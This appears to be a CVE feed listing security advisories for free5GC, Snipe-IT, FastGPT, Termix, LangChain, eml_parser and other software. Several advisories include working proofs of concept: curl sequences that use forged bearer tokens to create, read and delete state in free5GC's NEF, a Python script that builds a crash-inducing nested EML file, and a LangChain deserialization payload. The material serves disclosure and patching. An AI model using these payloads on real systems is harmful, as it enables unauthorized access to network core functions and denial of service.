| CVE-2026-44315 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52` - Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13` - Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70` - POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63` - GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189` - DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also accepted with forged token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions ``` 2. CREATE PFD transaction with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions ``` 3. READ -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 4. DELETE -> `204 No Content`: ``` curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted. NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules. The PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc <=v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44832 | hig | 0.38 | — | — | May 8, 2026 | ### Impact An authenticated user with only `users.edit` permission can escalate their own privileges to `admin` by sending a PATCH request to `/api/v1/users/{id}` with `permissions[admin]=1`. The API controller only strips the `superuser` key from the permissions array, allowing `admin` and all other permission keys to be set by any user who can update users. ### Patches Patched in https://github.com/grokability/snipe-it/commit/ce18ff669ceb0f0349749fd5d11c1d3d40b10569, fix was released in v8.4.1 ### Workarounds None. | |
| CVE-2026-44831 | med | 0.19 | — | — | May 8, 2026 | ### Impact Users with component view access could be impacted by an unescaped `notes` column. ### Patches This was patched in https://github.com/grokability/snipe-it/commit/28f493d84d057895fbb93b6570e7393a2c2fa438, and is fixed in v8.4.1 or greater. ### Workarounds None. | |
| CVE-2026-42287 | Cri | 0.65 | — | 0.00 | May 8, 2026 | Emlog is an open source website building system. Prior to version 2.6.11, direct SQL injection in article creation and update functions allows attackers to execute arbitrary SQL commands, potentially leading to complete database compromise, data theft, or system destruction. This issue has been patched in version 2.6.11. | |
| CVE-2026-42286 | Hig | 0.55 | — | 0.00 | May 8, 2026 | Emlog is an open source website building system. Prior to version 2.6.11, missing CSRF protection in critical admin functions allows attackers to trick authenticated administrators into performing unauthorized actions like system registration, plugin management, and configuration changes. This issue has been patched in version 2.6.11. | |
| CVE-2026-42213 | Med | 0.33 | — | 0.00 | May 8, 2026 | SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, the inc "filename" directive in GPPL postprocessor files is resolved by GpplDocumentLinkHandler into a clickable link (VS Code textDocument/documentLink). The handler accepted arbitrary paths — absolute, relative with parent-directory segments (..\..\..\), UNC (\\server\share\), and arbitrary subfolders — and called File.Exists on each to decide whether to render the link. Two distinct attack surfaces resulted: information disclosure via File.Exists probing and NTLM hash leak via UNC path probing. This issue has been patched in version 1.0.2. | |
| CVE-2026-42212 | Hig | 0.46 | — | 0.00 | May 8, 2026 | SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, Opening a .gpp file in the SolidCAM Postprocessor IDE extension causes the language server to parse a companion .vmid file from the same directory (naming convention: foo.gpp to foo.vmid). The VMID parser called XDocument.Load(path) without any XmlReaderSettings, inheriting the framework defaults which in .NET 8 allow DTD processing. A malicious .vmid file could therefore: disclose local files via external entity references, exhaust memory via recursive entity expansion, and cause denial of service via oversized or deeply nested XML. This issue has been patched in version 1.0.2. | |
| CVE-2026-42209 | Med | 0.42 | 6.5 | 0.00 | May 8, 2026 | FlashMQ is a MQTT broker/server, designed for multi-CPU environments. Prior to version 1.26.1, a remote client with retained publish permission can crash the FlashMQ broker when both set_retained_message_defer_timeout and set_retained_message_defer_timeout_spread are configured to non-default values, resulting in denial of service. If anonymous retained publishing is allowed, no authentication is required; otherwise, the attacker needs the corresponding publish permission. This issue has been patched in version 1.26.1. |
- risk 0.15cvss —epss 0.00
FastGPT is an AI Agent building platform. Prior to version 4.14.17, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability allows attackers (or authenticated users with App editing privileges) to send arbitrary HTTP requests to internal/private network addresses. The fetchData function in the lafModule workflow node uses axios to fetch user-controlled URLs without validating them against the application's internal network blocklist guard (isInternalAddress), bypassing SSRF protections. This issue has been patched in version 4.14.17.
- risk 0.41cvss 6.3epss 0.00
FastGPT is an AI Agent building platform. Prior to version 4.14.17, FastGPT had an inconsistent SSRF protection gap in MCP tool URL handling. The direct MCP preview/run endpoints already rejected internal/private network URLs, but the MCP tool create/update endpoints could still save an internal MCP server URL. That stored URL could later be used by workflow execution without revalidating the destination. An authenticated user with permission to create or manage MCP toolsets could store an internal endpoint such as http://localhost:3000/mcp and later cause the FastGPT backend workflow runner to connect to that internal destination. This issue has been patched in version 4.14.17.
- risk 0.58cvss 8.9epss 0.00
Postiz is an AI social media scheduling tool. From version 2.21.6 to before version 2.21.7, any authenticated user who can create a post can store arbitrary HTML in post content by tampering their own save request and send the public preview link /p/<postId>?share=true to another user. The preview page renders that stored HTML with dangerouslySetInnerHTML on the main application origin. This issue has been patched in version 2.21.7.
- risk 0.28cvss 4.3epss 0.00
AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to version 1.12.1, GET /api/workspace/:slug/tts/:chatId in AnythingLLM returns the text-to-speech audio for another user's chat response within the same workspace because the route validates workspace membership but does not enforce ownership of the targeted chat row. As a result, an authenticated user can access another user's private assistant response in audio form if the chatId is known or guessed. This constitutes an insecure direct object reference (IDOR) affecting private chat response content exposed through the TTS endpoint. This issue has been patched in version 1.12.1.
- risk 0.64cvss 9.9epss 0.00
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, all Docker container management endpoints in Termix interpolate the containerId URL path parameter and WebSocket message field directly into shell commands executed via ssh2.Client.exec() on remote managed servers without any sanitization or validation. An authenticated attacker can inject arbitrary OS commands by crafting a malicious container ID, achieving Remote Code Execution on any managed server. This issue has been patched in version 2.1.0.
- risk 0.57cvss —epss 0.00
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, the extractArchive and compressFiles endpoints in file-manager.ts use double-quoted strings for shell command construction, unlike all other file manager operations which use single-quote escaping. Double quotes allow $(command) substitution, enabling command injection on the remote SSH host. This issue has been patched in version 2.1.0.
- risk 0.53cvss 8.1epss 0.00
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, /users/login issues a temporary JWT (temp_token) for TOTP-enabled accounts. That token carries a pendingTOTP state and should only be valid for the second-factor flow. However, the auth middleware accepts this token on regular authenticated endpoints. This effectively turns 2FA into single-factor (password) for impacted accounts. This issue has been patched in version 2.1.0.
- risk 0.41cvss 6.3epss 0.00
Grimmory is a self-hosted digital library. Prior to version 2.3.1, a stored cross-site scripting (XSS) vulnerability in Grimmory's browser-based EPUB reader allows an attacker to embed arbitrary JavaScript in a crafted EPUB file. When a victim opens the book, the script executes in their browser with full access to the Grimmory application's session context. This can enable session token theft and account takeover, including administrative access if an administrator opens the affected book. This issue has been patched in version 2.3.1.
- risk 0.52cvss 9.1epss 0.00
Sentry is an error tracking and performance monitoring tool. From version 21.12.0 to before version 26.4.1, a critical vulnerability was discovered in the SAML SSO implementation of Sentry. The vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability. This issue has been patched in version 26.4.1.
- risk 0.49cvss 8.6epss 0.00
pygeoapi is a Python server implementation of the OGC API suite of standards. From version 0.23.0 to before version 0.23.3, OGC API process execution requests can use the subscriber object to requests to internal HTTP services. This issue has been patched in version 0.23.3.
- risk 0.42cvss 7.5epss 0.00
pygeoapi is a Python server implementation of the OGC API suite of standards. From version 0.23.0 to before version 0.23.3, a raw string path concatenation vulnerability in pygeoapi's STAC FileSystemProvider plugin can allow for requests to STAC collection based collections to expose directories without authentication. The issue manifests when pygeoapi is deployed without a proxy or web front end that would normalize URLs with .. values, along with a resource of type stac-collection defined in configuration. This issue has been patched in version 0.23.3.
- risk 0.33cvss —epss 0.00
Kargo manages and automates the promotion of software artifacts. Prior to versions 1.7.10, 1.8.13, 1.9.8, and 1.10.2, Kargo is vulnerable to open redirect in UI OIDC login flow via the redirectTo query parameter. This issue has been patched in versions 1.7.10, 1.8.13, 1.9.8, and 1.10.2.
- risk 0.42cvss 6.5epss 0.00
Postiz is an AI social media scheduling tool. From version 2.16.6 to before version 2.21.7, all SSRF protections added in v2.21.4–v2.21.6 share a fundamental TOCTOU (Time-of-Check-Time-of-Use) vulnerability: isSafePublicHttpsUrl() resolves DNS to validate the target IP, but subsequent fetch() calls resolve DNS independently. An attacker controlling a DNS server can exploit this gap via DNS rebinding to redirect requests to internal network addresses. This issue has been patched in version 2.21.7.
- risk 0.50cvss 7.7epss 0.00
FastGPT is an AI Agent building platform. In versions 4.14.11 and prior, FastGPT's isInternalAddress() function in packages/service/common/system/utils.ts blocks cloud metadata endpoints using a fullUrl.startsWith() check against a hardcoded list. This check can be bypassed using at least 7 different URL encoding techniques, all of which resolve to the same cloud metadata service but do not match the blocklist patterns. Additionally, the broader private IP check (isInternalIPv4/isInternalIPv6) is disabled by default because CHECK_INTERNAL_IP defaults to false (not 'true'), so these bypasses reach the metadata endpoint without any further validation. At time of publication, there are no publicly available patches.
- risk 0.41cvss 6.3epss 0.00
FastGPT is an AI Agent building platform. In versions 4.14.11 and prior, FastGPT's isInternalAddress() function in packages/service/common/system/utils.ts is vulnerable to DNS rebinding (TOCTOU — Time-of-Check to Time-of-Use). The function resolves the hostname via dns.resolve4()/dns.resolve6() and checks resolved IPs against private ranges, but the actual HTTP request happens in a separate call with a new DNS resolution, allowing the DNS record to change between validation and fetch. At time of publication, there are no publicly available patches.
- risk 0.41cvss —epss 0.00
FastGPT is an AI Agent building platform. In versions 4.14.13 and prior, the code-sandbox component suffers from insufficient resource isolation and uncontrolled resource consumption. The service relies solely on an application-level soft limit (a 500ms polling interval) for memory management and lacks strict OS-level constraints such as cgroups or kernel-level namespaces. This architectural weakness allows attackers to easily bypass memory checks via time-window attacks, or exhaust the entire JavaScript worker pool via concurrent CPU-intensive requests, resulting in a complete Denial of Service (DoS) for legitimate users. At time of publication, there are no publicly available patches.
- risk 0.46cvss 7.1epss 0.00
New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. In versions 0.11.9-alpha.1 and prior, the SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF. At time of publication, there are no publicly available patches.
- risk 0.22cvss 4.4epss 0.00
Vim is an open source, command line text editor. Prior to version 9.2.0383, an OS command injection vulnerability exists in the netrw standard plugin bundled with Vim. By inducing a user to open a crafted URL (e.g., using the sftp:// or file:// protocol handlers), an attacker can execute arbitrary shell commands with the privileges of the Vim process. This issue has been patched in version 9.2.0383.
- risk 0.64cvss 9.8epss 0.00
FastGPT is an AI Agent building platform. From version 4.14.10 to before version 4.14.13, the agent-sandbox component of FastGPT is vulnerable to unauthenticated Remote Code Execution (RCE). The startup script entrypoint.sh initializes code-server with the --auth none flag and binds the service to all network interfaces (0.0.0.0:8080). This configuration allows any user with network access to the port to bypass authentication and gain full control over the sandbox environment. This issue has been patched in version 4.14.13.
- risk 0.65cvss 10.0epss 0.00
Postiz is an AI social media scheduling tool. Prior to commit da44801, a "Pwn Request" vulnerability in the Build and Publish PR Docker Image workflow (.github/workflows/pr-docker-build.yml) allows any unauthenticated user to execute arbitrary code during the Docker build process and exfiltrate a highly privileged GITHUB_TOKEN (write-all permissions). This can be achieved simply by opening a Pull Request from a fork with a maliciously modified Dockerfile.dev. This issue has been patched via commit da44801.
- risk 0.44cvss 6.8epss 0.00
SysReptor is a fully customizable pentest reporting platform. From version 2026.4 to before version 2026.27, the endpoints for reading and creating sharing links for personal notes is not properly authorized. This allows authenticated attackers who obtain the note ID of victim users to list and create sharing links to those users' personal notes. This gives attackers read and write access to notes of other users. This exploit works in both SysReptor Professional and Community. In Community it has, however, no impact because all users have superuser permissions and can list personal notes of other users at /admin/pentests/usernotebookpage/. This issue has been patched in version 2026.27.
- risk 0.49cvss 7.6epss 0.00
ipl/web is a set of common web components for php projects. Prior to version 0.13.1, the vulnerability allows an attacker to inject malicious Javascript into a victim's browser to run it in the context of Icinga Web. The victim needs to visit a specifically prepared website and may have no immediate chance to notice any wrongdoing. This issue has been patched in version 0.13.1.
- risk 0.45cvss —epss 0.00
pupnp is an SDK for development of UPnP device and control point applications. Prior to version 1.18.5, pupnp is vulnerable to SRRF port confusion due to port truncation via atoi() cast in parse_uri(). This issue has been patched in version 1.18.5.
- risk 0.51cvss 7.9epss 0.00
Cilium is a networking, observability, and security solution with an eBPF-based dataplane. Prior to versions 1.17.15, 1.18.9, and 1.19.3, the output of cilium-bugtool can contain sensitive data when the tool is run against Cilium deployments with WireGuard encryption enabled. This issue has been patched in versions 1.17.15, 1.18.9, and 1.19.3.
- risk 0.46cvss 7.1epss 0.00
New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.12.10, a vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. This issue has been patched in version 0.12.10.
- risk 0.26cvss —epss —
### Summary `EmlParser.get_raw_body_text()` recurses unconditionally for every nested `message/rfc822` attachment without any depth limit. An attacker who can supply a badly crafted EML file with approximately 120 nested `message/rfc822` parts triggers an unhandled `RecursionError` and aborts parsing of the message. A 12 KB EML file is enough to crash a worker. Though this causes the parser to crash, it is an unlikely scenario as the suggested EML that crashes the parser would not pass basic RFC compliance tests. ### Details The vulnerable function is `EmlParser.get_raw_body_text()` in `eml_parser/parser.py`. For every part of type `multipart/*`, the function iterates over its sub-parts; for every sub-part of type `message/rfc822`, it calls itself recursively on the inner message: There is no depth parameter and no early-abort. CPython's default `sys.recursionlimit` is 1000. Each level of `message/rfc822` nesting adds approximately 8 frames to the stack (parser code + stdlib `_header_value_parser` calls), so roughly 120 nested levels exhaust the limit. The `RecursionError` is not caught anywhere along the call chain, so it propagates out of `decode_email_bytes()` and aborts processing of the entire message. ### PoC Environment: Python 3.12.3, eml_parser 3.0.0 (`pip install eml_parser==3.0.0`), default `sys.recursionlimit=1000`, Ubuntu 24.04 aarch64. No special configuration of `EmlParser`, default constructor. Self-contained reproducer that builds the PoC and triggers the crash: ```python import eml_parser def build_poc(depth=124): inner = b"From: a@a\r\nTo: b@b\r\nContent-Type: text/plain\r\n\r\n.\r\n" msg = inner for i in range(depth): b = f"B{i}".encode() msg = ( b'Content-Type: multipart/mixed; boundary="' + b + b'"\r\n\r\n' b'--' + b + b'\r\nContent-Type: message/rfc822\r\n\r\n' ) + msg + b'\r\n--' + b + b'--\r\n' return msg ep = eml_parser.EmlParser() ep.decode_email_bytes(build_poc()) # RecursionError after ~76 ms on Apple Silicon (Ubuntu 24.04 aarch64). ``` Note that the suggested code does not produce an RFC compliant message. Resulting EML payload size: 12,369 bytes. SHA-256 of generated PoC: `00f15f635e21b4144967c2893b37425e6a6bd7b4185c557e5c7e904e1e6d18e8` The crash is deterministic on a stock install. No network, no special headers, no large attachments. ### Impact Denial of service of any pipeline that processes attacker-supplied EML files using `eml_parser`. A single 12 KB email is enough to crash a worker. If the worker is a long-running process triaging multiple emails, the unhandled exception aborts processing of the whole batch unless the caller wraps the call in a broad `try/except`. Even then, attacker-supplied volume can keep workers in a perpetual restart loop. The vulnerability is exploitable pre-authentication in any deployment that ingests emails from external senders which have not been subject to any kind of basic validation. Considering that email messages pass through a mail-server which does some kind of validation, messages as produced by the *build_poc* function would not reach eml_parser. Nonetheless recursion depth checks have been implemented to handle the described issue. ### Reporter Sebastián Alba Vives (`@Sebasteuo`) Independent security researcher, Senior AppSec Consultant LinkedIn: https://www.linkedin.com/in/sebastian-alba Email: sebasjosue84@gmail.com PGP: `0D1A E4C2 CFC8 894F 19EA DA24 45CD CA33 2CF8 31F4`
- risk 0.45cvss —epss —
LangChain contains older runtime code paths that deserialize run inputs, run outputs, or other application-controlled payloads using overly broad object allowlists. These paths may call `load()` with `allowed_objects="all"`. This does not enable arbitrary Python object deserialization, but it does allow any trusted LangChain-serializable object to be revived, which is broader than these runtime paths require. As a result, attacker-supplied LangChain serialized constructor dictionaries may cause trusted runtime paths to instantiate classes with untrusted constructor arguments. Applications are exposed only when all of the following are true: 1. The application accepts untrusted structured input, such as JSON, from a user or network request. 2. The application does not validate or canonicalize that input into an inert schema before invoking LangChain. 3. Attacker-controlled nested dictionaries or lists are preserved in LangChain run inputs or outputs. 4. The application uses an affected API path that later deserializes that run data. Known affected runtime surfaces include: - `RunnableWithMessageHistory` - `astream_log()` - `astream_events(version="v1")` Related unsafe deserialization patterns may also affect applications that explicitly load serialized LangChain prompt or runnable objects from untrusted sources, including shared prompt stores, Hub artifacts with model configuration, or other application-controlled serialization stores. Applications that validate incoming requests against a fixed schema, such as coercing user input to a plain string or message-content field before invoking LangChain, are unlikely to expose this deserialization primitive. This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (`_is_lc_secret`). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during `dumps()` -> `loads()` round-trips and reach LangChain object revival logic. ## Impact An attacker who can submit untrusted structured input to an affected application, and have that structure preserved in LangChain run data, may be able to inject LangChain serialized constructor payloads such as: ```json { "lc": 1, "type": "constructor", "id": ["langchain_core", "messages", "ai", "AIMessage"], "kwargs": {"content": "attacker-controlled content"} } ``` If this payload reaches a broad `load()` call, LangChain may instantiate the referenced class instead of treating the payload as inert user data. Realistic impacts include: - Persistent chat-history poisoning when revived `AIMessage`, `HumanMessage`, or `SystemMessage` objects are stored by `RunnableWithMessageHistory`. - Prompt injection or behavior manipulation if attacker-controlled messages are later included in model context. - Instantiation of unexpected trusted LangChain objects with attacker-controlled constructor arguments. - Possible credential disclosure or server-side requests if a reachable object reads environment credentials, creates clients, or contacts attacker-controlled endpoints during initialization. - Additional prompt-template or runnable-configuration impacts in applications that separately load and execute untrusted serialized LangChain objects. ## Remediation LangChain will deprecate the affected APIs as part of this fix: - `RunnableWithMessageHistory` - `astream_log()` - `astream_events(version="v1")` These are older code paths that are no longer recommended for new applications. They were not previously marked as deprecated, but recent LangChain documentation has primarily directed users toward newer streaming and memory patterns, including the `stream` API. Applications should migrate to the currently recommended APIs rather than continue depending on these older surfaces. Separately, LangChain will update `load()` and `loads()` to tighten deserialization behavior so broad object revival is not applied implicitly to untrusted or application-controlled payloads. The older runtime surfaces listed above are being deprecated rather than preserved as supported paths for broad runtime deserialization. This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (`_is_lc_secret`). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during `dumps()` -> `loads()` round-trips and reach LangChain object revival logic. ## Guidance for `load()` and `loads()` `load()` and `loads()` should be used only with trusted LangChain manifests or serialized objects from trusted storage. Do not pass user-controlled data to `load()` or `loads()`, and do not use them as general parsers for request bodies, tool inputs, chat messages, or other attacker-controlled data. `load()` and `loads()` are beta APIs, and their behavior may change as LangChain narrows unsafe defaults. Future LangChain versions will require callers to be explicit about which objects may be revived. Users should pass a narrow `allowed_objects` value appropriate for the specific trusted manifest they are loading, rather than relying on broad defaults or `allowed_objects="all"`, which permits the full trusted LangChain serialization allowlist. ## Credits The original issue was first reported by @u-ktdi. Similar findings were reported by @dewankpant, @shrutilohani, @Moaaz-0x, @pucagit. A related `_is_lc_secret` marker bypass affecting `dumps()` -> `loads()` round-trips was reported by @yardenporat353 (and a similar report by @localhost-detect)
- risk 0.59cvss —epss —
### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56` - Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19` - `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53` - `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83` - `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions ``` 2. Seed one PFD application entry (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions ``` 3. READ PFD collection with forged token -> `200 OK` returns PFD data: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311' ``` 4. READ individual PFD with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311 ``` 5. CREATE PFD subscription with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions ``` 6. DELETE PFD subscription with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` NEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation. The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23
- risk 0.52cvss —epss —
